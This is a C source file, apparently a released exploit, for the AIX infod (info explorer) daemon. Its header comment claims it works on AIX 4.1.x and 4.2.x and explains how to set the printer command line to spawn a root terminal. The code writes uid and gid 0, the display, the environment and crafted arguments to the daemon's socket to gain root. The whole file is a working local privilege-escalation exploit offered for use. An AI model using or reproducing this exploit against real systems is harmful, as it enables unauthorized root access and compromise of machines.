/*

AIX /usr/lpp/info/bin/infod (info explorer daemon) exploit.
...hardly seems like an exploit but root is root, I guess.

Tested on 4.1.x, and 4.2.x.
*Should* work on every AIX release.

Requires access to X display.  Select options->defaults, and
define the printer command line to do your evil bidding.

Ex: /bin/sh -c "/usr/bin/X11/aixterm -ut &" ...works real nice.

Select info->print->article and....kapow!

Watch out for ~/info - root-owned crap.

*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/un.h>

#define SOCKET "/tmp/.info-help "

extern char *getenv();
char *display;
char displaybuf[256];

struct sockaddr_in server;
int sock,sock_id;

main(argc, argv, envp)
int argc;
char *argv[];
char *envp[];
{
int i,n,uid,gid;

/* new UNIX domain socket */
int                    server_len;
struct  sockaddr_un    server_addr;

uid = 0; /* user credentials used in spawned process..... */
gid = 0; /* ...this will be the uid/gid we gain access to */

/* fill server address with the address of the server to send to */
bzero((char *) &server_addr, sizeof(server_addr));
server_addr.sun_family = AF_UNIX;
strcpy(server_addr.sun_path, SOCKET);
server_len = sizeof(server_addr.sun_family) + strlen(server_addr.sun_path);

/* open up the socket */
if ( (sock_id = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
   {
   fprintf(stderr, "exiting...\n");
   exit(1);
   }

/* Connect to socket-- connect does bind for us */
if (connect(sock_id, (struct sockaddr *) &server_addr, server_len) < 0)
        {
        printf("couldn't connect socket to info daemon");
        close (sock_id);
        exit(1);
        }

write (sock_id, (char *)&uid, sizeof(uid));
write (sock_id, (char *)&gid, sizeof(gid));
if ((display = getenv("DISPLAY")) == NULL)
    {
      strcpy(displaybuf, "unix:0");
    } else {
      strcpy(displaybuf, display);
    }
write (sock_id, displaybuf, 256);

/* NULL'd a bunch of extraneous/useless crap */
n = 0;
for ( i=1; i <= 7; i++ )
write(sock_id,&n,sizeof(int));

/* pass the environment down */
for (n=0; envp[n] != NULL; n++);
write(sock_id,&n,sizeof(int));
for (i=0; envp[i] != NULL; i++) 
	{
                n = strlen(envp[i]);
                write(sock_id,&n,sizeof(int));
                write(sock_id,envp[i],n);
	}

/* Pass info daemon valid but false argz */
argc=2; 
write (sock_id, (char *)&argc, sizeof(int));
write (sock_id, "-s", 4);
close (sock_id);
}
